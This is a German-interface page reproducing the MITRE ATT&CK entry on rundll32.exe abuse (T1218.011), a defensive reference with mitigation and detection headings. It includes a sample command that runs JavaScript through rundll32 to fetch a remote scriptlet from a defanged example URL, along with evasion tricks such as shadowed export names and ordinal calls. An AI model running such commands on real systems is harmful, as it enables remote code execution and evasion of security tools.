T1218.011 Rundll32
Unter-TechnikEnterpriseAdversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a.cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection. Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>). Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
Plattformen
Plattformen, für die dies gilt.
Taktiken
ATT&CK-Taktiken, denen diese Technik dient.
Unter-Technik von
Die übergeordnete Entität.
Gegenmaßnahmen
ATT&CK-Gegenmaßnahmen, die dies verringern.
Erkannt durch (4)
Datenkomponenten, die dies erkennen.
Abgewehrt durch (D3FEND)
D3FEND-Gegenmaßnahmen dagegen.
Detect
Isolate
Deceive
Restore
NIST CSF 2.0 — Relevanzbereiche (Protect / Detect)
NIST-CSF-2.0-Bereiche mit dem größten Bezug (belegbasiert).
- DE.CMContinuous Monitoringstark · gestützt durch 3 von 4 zugeordneten Controls
- ID.RARisk Assessmentstark · gestützt durch 3 von 4 zugeordneten Controls
- PR.DSData Securitystark · gestützt durch 3 von 4 zugeordneten Controls
Abgeleitet aus MITRE CTID (Apache-2.0) und dem NIST-800-53-↔-CSF-Crosswalk (gemeinfrei). Eine indikative Relevanz entlang der Protect-/Detect-Achse — keine Compliance-Bewertung und keine Abdeckungsaussage.
Mindernde Maßnahmen (4)
Sicherheitskontrollen, die dies mindern.
Gruppen (26)
Zugehörige Bedrohungsgruppen.
Software (69)
Zugehörige Malware und Tools.
Kampagnen (8)
Kampagnen, die dies verwenden.
Erkannt durch (Sigma) (43)
Zugehörige Sigma-Erkennungsregeln.
Quelle
Wo diese Definition veröffentlicht ist.